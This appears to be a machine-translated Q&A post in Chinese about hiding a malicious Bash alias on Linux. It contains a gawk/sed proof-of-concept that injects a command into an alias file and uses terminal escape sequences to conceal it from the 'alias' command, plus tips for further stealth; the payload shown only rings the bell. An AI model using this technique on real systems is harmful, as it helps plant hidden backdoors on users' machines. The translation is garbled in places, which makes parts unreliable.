是否有可能隐藏在Linux上的Bash恶意别名?

是否有可能在Linux系统上隐藏Bash中存在的恶意别名,并让用户在不知情的情况下执行该别名?

如果使用alias命令来显示别名定义,可以通过将现有的别名附加到恶意的别名上并使用光标移动来隐藏它。 这不是一个完全万无一失的方法,但它可能会在一段时间内未被发现。 通过hdpipe道alias将显示你的alias是否有任何转义序列(光标移动)。 下面是如何将恶意命令插入别名的概念certificate:

 alias | gawk 'BEGIN { FS = "[ =\047]" db = "\\"; sp = db " "; amp = db "&" sq= "\047"; bell = "\007"; esc = "\033" } NR == 3 { len1 = length($2) } NR == 4 { alias = $2 orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1)) orig = gensub(" ", db sp, "g", orig) } END { hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t" for(i=1; i<len1; i++) {hide = hide esc "[C"} cmd = "sed -is/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases" system(cmd) }' 
  • sed命令修改了一个名为“别名”的文件 – 这种types的实际脚本会去修改一个真实的脚本文件,以便在下次执行恶意别名时被激活。
  • 这个例子中的恶意部分只是响铃terminal,所以你知道它的工作。
  • 原来别名的命令将以hide的内容作为参数执行,所以可以想象,您可能会得到类似于此问题中报告的错误。 虽然这会干扰提供给别名的参数,但可能会颠倒原来的和恶意的部分来影响这一点。 在上面的脚本中尝试用--来标记参数的结尾。
  • 而不是用&&来链接原始的和恶意的部分,你可以将其中一个传递给下一个,并将恶意脚本(由上面的简单echo命令表示)作为stdin传递给stdout传递,以便修改数据或者通过不干扰其他redirect来进一步隐藏其存在
  • 另一种可能性是在恶意脚本中包含原始别名,这可能会从参数列表中移除光标移动string,并将其余部分传递给原始字符。
  • 我任意select了logging3和4,更智能的代码可以指定特定的别名,但它们需要相邻(或者光标移动可能变得更复杂)。
  • 可以修改hidestring以包含不同的光标移动和原始别名的文本,这样alias命令将显示为显示未修改的别名,而不是将其与恶意部分一起隐藏。
  • 要按照书面方式进行testing,您需要至less有四个活动别名,运行此脚本,然后使用生成的文件. aliases . aliases 。 然后,您可以尝试使用受影响的别名,并查看alias|hd时的样子。
  • 毫无疑问,这可以用一百种不同的方式来重写 – 所有这一切都会更好。
  • 这种威胁有多现实? 我没有线索。 但是如果我能做到的话…